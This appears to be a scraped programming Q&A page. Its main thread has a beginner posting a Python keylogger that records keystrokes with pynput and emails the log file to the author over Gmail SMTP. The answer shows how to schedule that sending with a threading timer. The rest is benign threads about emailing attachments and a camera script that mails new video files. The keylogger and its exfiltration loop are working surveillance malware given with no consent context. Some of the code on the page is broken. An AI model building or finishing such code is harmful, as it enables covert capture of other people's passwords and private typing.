for a project I am working on a python keylogger. I have completed both the key logging module and the email module which sends the log files back to me but am having trouble on merging them together. I would like the keylogger to send me an email including the log file every 24 hours. How could I do that?
I tried using a simple time.sleep() delay but since the keylogging module only stops when I kill it as a process it never gets to the delay because it is "infinite" you could say.
Here is my current code:
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
#Keylogging Module
def on_press(key):
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
#Email module
email_user = 'miku.rebane#gmail.com'
email_send = 'miku.rebane#gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")
server.sendmail(email_user,email_send,text)
server.quit()
Please explain answers very simply because I am an absolute beginner.
Edit: This is the new code, which unfortunetly doesn't work.
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading
def on_press(key):
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
def sendlog():
threading.Timer(10.0, sendlog).start()
email_user = 'miku.rebane#gmail.com'
email_send = 'miku.rebane#gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")
server.sendmail(email_user,email_send,text)
server.quit()
sendlog()
Edit 3: Re-organized the code, works but incomplete logs are sent.
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
def sendlog():
threading.Timer(10.0, sendlog).start()
email_user = 'miku.rebane#gmail.com'
email_send = 'miku.rebane#gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"password")
server.sendmail(email_user,email_send,text)
server.quit()
sendlog()
#Keylogging Module
def on_press(key):
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
Edit 4: This error appears when using code form Edit 3:
Traceback (most recent call last):
File "C:\Users\mikur\Desktop\keylogger testing.py", line 47, in <module>
Listener.join()
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 199, in join
six.reraise(exc_type, exc_value, exc_traceback)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\six.py", line 692, in reraise
raise value.with_traceback(tb)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 154, in inner
return f(self, *args, **kwargs)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\keyboard\_win32.py", line 237, in _process
self.on_press(key)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 75, in inner
if f(*args) is False:
File "C:\Users\mikur\Desktop\keylogger testing.py", line 42, in on_press
file.write(str(key))
ValueError: I/O operation on closed file.
As per this answer: https://stackoverflow.com/a/3393759/1910863
You can use a threading timer. Here is the code snippet from the linked answer:
import threading
def printit():
threading.Timer(5.0, printit).start()
print "Hello, World!"
printit()
You would call (or schedule) your method at the start of your script and it will re-schedule itself every time it fires.
If you like this answer, you should upvote the linked answer as he is the one that deserves the credit for it.
Related
I have been able to send personalized emails using the script below before, but all of a sudden I am getting the following error.
I am trying to read names and email ID's from a file and send a personalized email to each person. It picks a random subject from the list of subjects and uses a random delay. It worked fine until now but it won't now.
*Traceback (most recent call last):
File "C:/myprojects/normal_email.py", line 64, in <module>
main()
File "C:/myprojects/normal_email.py", line 57, in main
smtp.send_message(msg)
File "C:\Python\lib\smtplib.py", line 964, in send_message
bytesmsg, policy=msg.policy.clone(utf8=True))
File "C:\Python\lib\email\_policybase.py", line 72, in clone
raise TypeError(
TypeError: 'utf8' is an invalid keyword argument for Compat32*
import csv
from string import Template
import smtplib
import random
import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
template_file = r'C:\Users\91880\Desktop\template.txt'
filename = r'C:\Users\91880\Downloads\2307.csv'
# reads the file and returns the names, emails in a list
def get_contacts(file):
names_list = []
emails_list = []
with open(file, 'r') as mail_data:
data = csv.reader(mail_data)
for details in data:
names_list.append(details[0])
emails_list.append(details[1])
return names_list, emails_list
# reads the template from a text file and returns
def get_template(file):
with open(file, 'r') as template_info:
template_data = template_info.read()
return Template(template_data)
def main():
email_user = 'myemail#mail.com'
password = 'mypassword'
subs = ['Hi', 'Hello']
names, emails = get_contacts(filename)
template = get_template(template_file)
with smtplib.SMTP('smtp.office365.com', '587') as smtp:
smtp.ehlo()
smtp.starttls()
smtp.ehlo()
smtp.login(email_user, password)
for name, email in zip(names, emails):
subject = random.choice(subs)
number = random.randint(10, 30)
msg = MIMEMultipart()
message = template.substitute(name=name.title())
msg['From'] = email_user
msg['To'] = email
msg['Subject'] = subject
msg.attach(MIMEText(message, 'html'))
smtp.send_message(msg)
print(f'sent email to {name} at {email}')
del msg
time.sleep(number)
if __name__ == '__main__':
main()
This error occurs because there is at least one non-ascii character in one of the "to" or "from" addresses. It should be possible to fix it by setting the policy on the message to email.policy.default:
from email import policy
...
msg = MIMEMultipart(policy=policy.default)
The newer EmailMessage/EmailPolicy API is preferred over the old email.mime tools since Python 3.6. Using the preferred tools, the code would look like this:
from email.message import EmailMessage
from email import policy
...
msg = EmailMessage(policy=policy.default)
message = template.substitute(name=name.title())
msg['From'] = email_user
msg['To'] = email
msg['Subject'] = subject
msg.set_content(message, subtype='html')
smtp.send_message(msg)
For absolute RFC compatibility, you might consider setting the policy to SMTP, to generate \r\n line endings.
The first time it runs it sends the message right, like:
'Saldo: 100 USD'
and attach the PROFIT.csv
but when it runs for the second time it sends the message like
'Saldo: 100 USDSaldo: 100 USD'
and attach the file twice.
here is my code:
from email.mime.text import MIMEText
import smtplib
from email.mime.base import MIMEBase
from email import*
from datetime import datetime
import time
import schedule
import pandas as pd
import numpy as np
from API import trade_history,balance
global msg
msg = MIMEMultipart()
def atach(filename):
global msg
fp = open(filename, 'rb')
part = MIMEBase('application','vnd.ms-excel')
part.set_payload(fp.read())
fp.close()
encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment', filename=str(filename))
msg.attach(part)
def sendmail(text):
global msg
# setup the parameters of the message
message = 'Saldo: '+str(round(SALDO,2))+' USD'
password = "mypassword"
file1 = 'PROFIT.csv'
msg['From'] = "myemail#gmail.com"
msg['To'] = "otheremail#gmail.com"
msg['Subject'] = "subject"
# add in the message body
msg.attach(MIMEText(message, 'plain'))
#create server
server = smtplib.SMTP('smtp.gmail.com: 587')
server.starttls()
atach(file1)
#atach(file2)
smtp = smtplib.SMTP('smtp.gmail.com')
# Login Credentials for sending the mail
server.login(msg['From'], password)
# send the message via the server.
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
print('email done')
time.sleep(690)
schedule.every().day.at("07:00").do(sendmail,'sending email')
while True:
try:
msg = MIMEMultipart()
print("schedule: 07:00",str(datetime.today()).split(' ')[1])
schedule.run_pending()
time.sleep(59) # wait one minute
except:
print('#### Schedule ERROR ####')
time.sleep(59)
any other way to send a schedule message is great. I tryed to reinstanceate the MIMEMultipart() but it not worked
You just keep attaching content to the same global MIMEMultipart object. That is the reason for the bahaviour you see.
Why do you need a global variable for that? You could create a MIMEMultipart variable in the sendmail function and then send it as the second parameter to the atach (sic) function. Then you get a fresh MIMEMultipart object for each mail you send.
I am trying to send mail using python script. I tried without attachment it is working.
Now i tried with attachment i am getting assertion error.
Below is the code:
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
from email import Encoders
import os
import time
import random
msg_from = "xyz#abc.com"
to = "xyz#abc.com"
text = "test-Hello"
subject = "Test"
f = "output1.pdf"
def generate_message_id(msg_from):
domain = msg_from.split("#")[1]
r = "%s.%s" % (time.time(), random.randint(0, 100))
mid = "<%s#%s>" % (r, domain)
return mid
def send_mail(msg_from, to, subject, text,
files=[],server="10.10.10.10", debug=False):
assert type(to)==list
assert type(files)==list
msg = MIMEMultipart()
msg['From'] = msg_from
msg['To'] = COMMASPACE.join(to)
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = subject
text = text.encode("utf-8")
text = MIMEText(text, 'plain', "utf-8")
msg.attach(text)
msg.add_header('Message-ID', generate_message_id(msg_from))
for file in files:
part = MIMEBase('application', "octet-stream")
part.set_payload( open(f,"rb").read() )
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"'
for file in files:
part = MIMEBase('application', "octet-stream")
part.set_payload( open(f,"rb").read() )
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"'
% os.path.basename(file))
msg.attach(part)
if not debug:
smtp = smtplib.SMTP(server)
smtp.sendmail(msg_from, to, msg.as_string())
smtp.close()
return msg
send_mail(msg_from, to, subject, text,files=[],server="10.10.10.10", debug=False)
Error i am getting:
Traceback (most recent call last):
File "testmail1.py", line 53, in <module>
send_mail(msg_from, to, subject, text,files=[],server="10.10.10.10", debug=False)
File "testmail1.py", line 24, in send_mail
assert type(to)==list
AssertionError
I am using from linux os and using python 2.7
Please help me to fix
Your to field should be a list, because you could theoretically send your email to multiple persons. So I'd suggest:
to = ["xyz#abc.com"]
The send_mail method checks first if your to field is a list, that's why you're getting the error.
Also check out the documentation
I need to figure out how to make a script that scans for new files in a directory, and when there is a new one, sends the file via email.
Someone keeps stealing bikes in my apartment building! First it was my fault (I for got to lock it), now the crook upgraded by cutting chains. I had it after the crook stole my second bike by cutting 1/2 inch airplane wire.
Anyway, using a raspberry pi as a motion activated security camera, I want it to send me a video file as soon as the video program finishes recording it. This is incase they steal the pi.
I am looking at these examples, but I can't figure how to make the script run continuously (every minute) or how to make it scan a folder for a new file.
How do I send attachments using SMTP?
OK
I got it down to scanning and then trying to email. It fails when trying to attach the video file. Can you help? Here is the revised code:
The failure is:
msg = MIMEMultipart()
TypeError: 'LazyImporter' object is not callable, line 38
import time, glob
import smtplib
import email.MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
from email import Encoders, MIMEMultipart
import os
#Settings:
fromemail= "Jose Garcia <somerandomemail#gmail.com>"
loginname="somerandomemail#gmail.com"
loginpassword="somerandomepassword"
toemail= "Jose Garcia <somerandomemail#gmail.com>"
SMTPserver='smtp.gmail.com'
SMTPort=587
fileslocation="/Users/someone/Desktop/Test/*.mp4"
subject="Security Notification"
def mainloop():
files=glob.glob(fileslocation) #Put whatever path and file format you're using in there.
while 1:
new_files=glob.glob(fileslocation)
if len(new_files)>len(files):
for x in new_files:
if x in files:
print("New file detected "+x)
print("about to call send email")
sendMail(loginname, loginpassword, toemail, fromemail, subject, gethtmlcode(), x, SMTPserver, SMTPort)
files=new_files
time.sleep(1)
def sendMail(login, password, to, frome, subject, text, filee, server, port):
# assert type(to)==list
# assert type(filee)==list
msg = MIMEMultipart()
msg['From'] = frome
msg['To'] = COMMASPACE.join(to)
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = subject
msg.attach( MIMEText(text) )
# #for filee in files:
part = MIMEBase('application', "octet-stream")
part.set_payload( open(filee,"rb").read() )
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"'
% os.path.basename(filee))
msg.attach(part)
smtp = smtplib.SMTP(SMTPserver, SMTPort)
smtp.sendmail(frome, to, msg.as_string() )
server.set_debuglevel(1)
server.starttls()
server.ehlo()
server.login(login, password)
server.sendmail(frome, to, msg)
server.quit()
def gethtmlcode():
print("about to assemble html")
html = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" '
html +='"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml">'
html +='<body style="font-size:12px;font-family:Verdana"><p>A new video file has been recorded </p>'
html += "</body></html>"
return(html)
#Execute loop
mainloop()
I finally got it working. I had to use python 2.5 to get rid of the LazyImporter error. Every time a new file is added to the security folder, it gets emailed to me. Logging is broken.
import time, glob
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEMultipart import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
import datetime
from email import Encoders
import os
import sys
#Settings:
fromemail= 'RaspberryPI Security Camera <someone>'
loginname='someone#gmail.com'
loginpassword='something'
toemail= 'Jose Garcia < someone#gmail.com>'
SMTPserver='smtp.gmail.com'
SMTPort=587
fileslocation='/Users/someone/Desktop/Test/*.*'
subject="Security Notification"
log='logfile.txt'
def mainloop():
files=glob.glob(fileslocation) #Put whatever path and file format you're using in there.
while 1:
f = open(log, 'w')
sys.stdout = Tee(sys.stdout, f)
new_files=glob.glob(fileslocation)
if len(new_files)>len(files):
for x in new_files:
if x in files:
print(str(datetime.datetime.now()) + "New file detected "+x)
sendMail(loginname, loginpassword, toemail, fromemail, subject, gettext(), x, SMTPserver, SMTPort)
files=new_files
f.close()
time.sleep(1)
def sendMail(login, password, send_to, send_from, subject, text, send_file, server, port):
msg = MIMEMultipart()
msg['From'] = send_from
msg['To'] = COMMASPACE.join(send_to)
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = subject
msg.attach( MIMEText(text) )
part = MIMEBase('application', "octet-stream")
part.set_payload( open(send_file,"rb").read() )
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(send_file))
msg.attach(part)
smtp = smtplib.SMTP(SMTPserver, SMTPort)
smtp.set_debuglevel(1)
smtp.ehlo()
smtp.starttls()
smtp.login(login, password)
smtp.sendmail(send_from, send_to, msg.as_string() )
smtp.close()
def gettext():
text = "A new file has been added to the security footage folder. \nTime Stamp: "+ str(datetime.datetime.now())
return(text)
class Tee(object):
def __init__(self, *files):
self.files = files
def write(self, obj):
for f in self.files:
f.write(obj)
#Execute loop
mainloop()
It looks like the email module has been refactored over time. This fixed the 'LazyImporter' object not callable error for me on Python 2.7:
from email.mime.text import MIMEText
Noteably it was not happy with (what I thought were) synonyms like import email; email.mime.text.MIMEText(...)
I use python3 and I could not for the life of me get any of these examples to work, but I was able to come up with something that works and is a whole lot simpler.
import smtplib
from email.message import EmailMessage
from email.mime.base import MIMEBase
from email import encoders
# Defining Objects and Importing Files ------------------------------------
# Initializing video object
video_file = MIMEBase('application', "octet-stream")
# Importing video file
video_file.set_payload(open('video.mkv', "rb").read())
# Encoding video for attaching to the email
encoders.encode_base64(video_file)
# creating EmailMessage object
msg = EmailMessage()
# Loading message information ---------------------------------------------
msg['From'] = "person_sending#gmail.com"
msg['To'] = "person_receiving#gmail.com"
msg['Subject'] = 'text for the subject line'
msg.set_content('text that will be in the email body.')
msg.add_attachment(video_file, filename="video.mkv")
# Start SMTP Server and sending the email ---------------------------------
server=smtplib.SMTP_SSL('smtp.gmail.com',465)
server.login("person_sending#gmail.com", "some-clever-password")
server.send_message(msg)
server.quit()
Just put your script in a loop and have it sleep for 60 seconds. You can use glob to get a list of files in the directory. in is pretty useful for seeing what is in a list (i.e. the list of files in the directory).
import time, glob
files=glob.glob("/home/me/Desktop/*.mp4") #Put whatever path and file format you're using in there.
while 1:
new_files=glob.glob("/home/me/Desktop/*.mp4")
if len(new_files)>len(files):
for x in new_files:
if x not in files:
print("New file: "+x) #This is where you would email it. Let me know if you need help figuring that out.
files=new_files
time.sleep(60)
#!/usr/bin/env python3
import smtplib,email,email.encoders,email.mime.text,email.mime.base
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
msg = MIMEMultipart()
# me == my email address
# you == recipient's email address
me = "sender#email.com"
you = "reciever#email.com "
# Create message container - the correct MIME type is multipart/alternative.
msg = MIMEMultipart('mixed')
msg['Subject'] = "msg"
msg['From'] = me
msg['To'] = you
# Create the body of the message (a plain-text and an HTML version).
text = "Hi\nThis is text-only"
html = """\
<html> This is email</html>
"""
part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')
#attach an excel file:
fp = open('TestStatus.xlsx', 'rb')
file1=email.mime.base.MIMEBase('application','vnd.ms-excel')
file1.set_payload(fp.read())
fp.close()
email.encoders.encode_base64(file1)
file1.add_header('Content-Disposition','attachment;filename=anExcelFile.xlsx')
# Attach parts into message container.
# According to RFC 2046, the last part of a multipart message, in this case
# the HTML message, is best and preferred.
msg.attach(part2)
msg.attach(part1)
msg.attach(file1)
composed = msg.as_string()
fp = open('msgtest.eml', 'w')
fp.write(composed)
# Credentials (if needed)
# The actual mail send
server = smtplib.SMTP('dc1smtp.com')
server.starttls()
server.sendmail(me, you, msg)
server.quit()
fp.close()
also when running it, I see this error message.
Traceback (most recent call last):
File "excel.py", line 57, in <module>
server.sendmail(me, you, msg)
File "C:\Python33\lib\smtplib.py", line 775, in sendmail
(code, resp) = self.data(msg)
File "C:\Python33\lib\smtplib.py", line 516, in data
q = _quote_periods(msg)
File "C:\Python33\lib\smtplib.py", line 167, in _quote_periods
return re.sub(br'(?m)^\.', b'..', bindata)
File "C:\Python33\lib\re.py", line 170, in sub
return _compile(pattern, flags).sub(repl, string, count)
TypeError: expected string or buffer
I have tested this code and it is working. the only problem i am having is that, when i run it, i dont recieve the emails that i am testing it with. But when i run this code. it creates a file named "msgtest.eml". This file is like a draft of my email or something.
can someone show me how to use this show and be an actually email instead of a draft?
thanks
To send mail from localhost:
import smtplib
me = "me#me.com"
you = "you#you.com"
# insert your code here
msg = ...
s = smtplib.SMTP('localhost')
s.sendmail(me, [to], msg.as_string())